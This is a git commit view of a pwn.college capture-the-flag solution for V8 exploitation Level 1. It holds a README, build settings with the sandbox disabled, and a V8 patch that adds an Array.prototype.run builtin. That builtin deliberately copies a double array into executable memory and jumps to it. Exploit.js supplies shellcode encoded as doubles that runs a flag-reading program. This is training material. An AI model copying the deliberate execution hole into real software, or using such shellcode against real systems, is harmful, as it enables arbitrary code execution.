Moved JavaScript/PwnCollegeV8Exploitation/ to PwnCollege/V8Exploitation/
This commit is contained in:
3
PwnCollege/V8Exploitation/Level1/Exploit.js
Normal file
3
PwnCollege/V8Exploitation/Level1/Exploit.js
Normal file
@@ -0,0 +1,3 @@
|
||||
// Machine code of `execve("/challenge/catflag", NULL, NULL)` in its IEEE754 double representation form
|
||||
let shellcode = [-4.658816580787966e+166, -8.593999715215021e+185, 2.820972645905851e-134, 3.0758087950517603e+180, 2.2354425876138794e+40, 3.68572438550025e+180, 1.0803082663212642e+117, -9.2559631348734e+61];
|
||||
shellcode.run();
|
||||
20
PwnCollege/V8Exploitation/Level1/README.md
Normal file
20
PwnCollege/V8Exploitation/Level1/README.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Level 1
|
||||
|
||||
## Problem
|
||||
|
||||
Directly execute amd64 machine code by calling `run()` on an array receiver.
|
||||
|
||||
The array should have elements kind `PACKED_DOUBLE_ELEMENTS`.
|
||||
|
||||
The `run()` is installed on `Array.prototype`.
|
||||
|
||||
## Key Knowledge
|
||||
|
||||
- [Inheritance and the prototype chain in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)
|
||||
- `Receiver` Object
|
||||
- [How to understand sender and receiver in Ruby?](https://stackoverflow.com/questions/15592268/how-to-understand-sender-and-receiver-in-ruby)
|
||||
- [Could you explain sender and receiver in OOP and give examples?](https://stackoverflow.com/questions/45474802/could-you-explain-sender-and-receiver-in-oop-and-give-examples)
|
||||
- [Elements Kinds in V8](https://v8.dev/blog/elements-kinds)
|
||||
- IEEE754 Standard
|
||||
- Conversion between double & int64 representation using IEEE754
|
||||
- ShellCode
|
||||
1
PwnCollege/V8Exploitation/Level1/REVISION
Normal file
1
PwnCollege/V8Exploitation/Level1/REVISION
Normal file
@@ -0,0 +1 @@
|
||||
5a2307d0f2c5b650c6858e2b9b57b335a59946ff
|
||||
10
PwnCollege/V8Exploitation/Level1/args.gn
Normal file
10
PwnCollege/V8Exploitation/Level1/args.gn
Normal file
@@ -0,0 +1,10 @@
|
||||
is_component_build = false
|
||||
is_debug = false
|
||||
target_cpu = "x64"
|
||||
v8_enable_sandbox = false
|
||||
v8_enable_backtrace = true
|
||||
v8_enable_disassembler = true
|
||||
v8_enable_object_print = true
|
||||
dcheck_always_on = false
|
||||
use_goma = false
|
||||
v8_code_pointer_sandboxing = false
|
||||
137
PwnCollege/V8Exploitation/Level1/patch
Normal file
137
PwnCollege/V8Exploitation/Level1/patch
Normal file
@@ -0,0 +1,137 @@
|
||||
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
|
||||
index ea45a7ada6b..c840e568152 100644
|
||||
--- a/src/builtins/builtins-array.cc
|
||||
+++ b/src/builtins/builtins-array.cc
|
||||
@@ -24,6 +24,8 @@
|
||||
#include "src/objects/prototype.h"
|
||||
#include "src/objects/smi.h"
|
||||
|
||||
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
|
||||
+
|
||||
namespace v8 {
|
||||
namespace internal {
|
||||
|
||||
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
|
||||
return *isolate->factory()->NewNumberFromUint((new_length));
|
||||
}
|
||||
|
||||
+BUILTIN(ArrayRun) {
|
||||
+ HandleScope scope(isolate);
|
||||
+ Factory *factory = isolate->factory();
|
||||
+ Handle<Object> receiver = args.receiver();
|
||||
+
|
||||
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
|
||||
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
|
||||
+ factory->NewStringFromAsciiChecked("Nope")));
|
||||
+ }
|
||||
+
|
||||
+ Handle<JSArray> array = Cast<JSArray>(receiver);
|
||||
+ ElementsKind kind = array->GetElementsKind();
|
||||
+
|
||||
+ if (kind != PACKED_DOUBLE_ELEMENTS) {
|
||||
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
|
||||
+ factory->NewStringFromAsciiChecked("Need array of double numbers")));
|
||||
+ }
|
||||
+
|
||||
+ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
|
||||
+ if (sizeof(double) * (uint64_t)length > 4096) {
|
||||
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
|
||||
+ factory->NewStringFromAsciiChecked("array too long")));
|
||||
+ }
|
||||
+
|
||||
+ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
|
||||
+ if (mem == (double *)-1) {
|
||||
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
|
||||
+ factory->NewStringFromAsciiChecked("mmap failed")));
|
||||
+ }
|
||||
+
|
||||
+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
|
||||
+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
|
||||
+ double x = elements->get_scalar(i);
|
||||
+ mem[i] = x;
|
||||
+ });
|
||||
+
|
||||
+ ((void (*)())mem)();
|
||||
+ return 0;
|
||||
+}
|
||||
+
|
||||
namespace {
|
||||
|
||||
V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
|
||||
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
|
||||
index 78cbf8874ed..4f3d885cca7 100644
|
||||
--- a/src/builtins/builtins-definitions.h
|
||||
+++ b/src/builtins/builtins-definitions.h
|
||||
@@ -421,6 +421,7 @@ namespace internal {
|
||||
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
|
||||
/* ES6 #sec-array.prototype.push */ \
|
||||
CPP(ArrayPush) \
|
||||
+ CPP(ArrayRun) \
|
||||
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
|
||||
/* ES6 #sec-array.prototype.shift */ \
|
||||
CPP(ArrayShift) \
|
||||
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
|
||||
index 9a346d134b9..58fd42e59a4 100644
|
||||
--- a/src/compiler/typer.cc
|
||||
+++ b/src/compiler/typer.cc
|
||||
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
|
||||
return Type::Receiver();
|
||||
case Builtin::kArrayUnshift:
|
||||
return t->cache_->kPositiveSafeInteger;
|
||||
+ case Builtin::kArrayRun:
|
||||
+ return Type::Receiver();
|
||||
|
||||
// ArrayBuffer functions.
|
||||
case Builtin::kArrayBufferIsView:
|
||||
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
|
||||
index facf0d86d79..382c015bc48 100644
|
||||
--- a/src/d8/d8.cc
|
||||
+++ b/src/d8/d8.cc
|
||||
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
|
||||
|
||||
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
|
||||
- global_template->Set(Symbol::GetToStringTag(isolate),
|
||||
+/* global_template->Set(Symbol::GetToStringTag(isolate),
|
||||
String::NewFromUtf8Literal(isolate, "global"));
|
||||
global_template->Set(isolate, "version",
|
||||
FunctionTemplate::New(isolate, Version));
|
||||
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
global_template->Set(isolate, "readline",
|
||||
FunctionTemplate::New(isolate, ReadLine));
|
||||
global_template->Set(isolate, "load",
|
||||
- FunctionTemplate::New(isolate, ExecuteFile));
|
||||
+ FunctionTemplate::New(isolate, ExecuteFile));*/
|
||||
global_template->Set(isolate, "setTimeout",
|
||||
FunctionTemplate::New(isolate, SetTimeout));
|
||||
// Some Emscripten-generated code tries to call 'quit', which in turn would
|
||||
// call C's exit(). This would lead to memory leaks, because there is no way
|
||||
// we can terminate cleanly then, so we need a way to hide 'quit'.
|
||||
- if (!options.omit_quit) {
|
||||
+/* if (!options.omit_quit) {
|
||||
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
|
||||
}
|
||||
global_template->Set(isolate, "testRunner",
|
||||
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
|
||||
if (i::v8_flags.expose_async_hooks) {
|
||||
global_template->Set(isolate, "async_hooks",
|
||||
Shell::CreateAsyncHookTemplate(isolate));
|
||||
- }
|
||||
+ }*/
|
||||
|
||||
return global_template;
|
||||
}
|
||||
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
|
||||
index 48249695b7b..40a762c24c8 100644
|
||||
--- a/src/init/bootstrapper.cc
|
||||
+++ b/src/init/bootstrapper.cc
|
||||
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
|
||||
|
||||
SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
|
||||
true);
|
||||
+ SimpleInstallFunction(isolate_, proto, "run",
|
||||
+ Builtin::kArrayRun, 0, false);
|
||||
SimpleInstallFunction(isolate_, proto, "concat",
|
||||
Builtin::kArrayPrototypeConcat, 1, false);
|
||||
SimpleInstallFunction(isolate_, proto, "copyWithin",
|
||||
Reference in New Issue
Block a user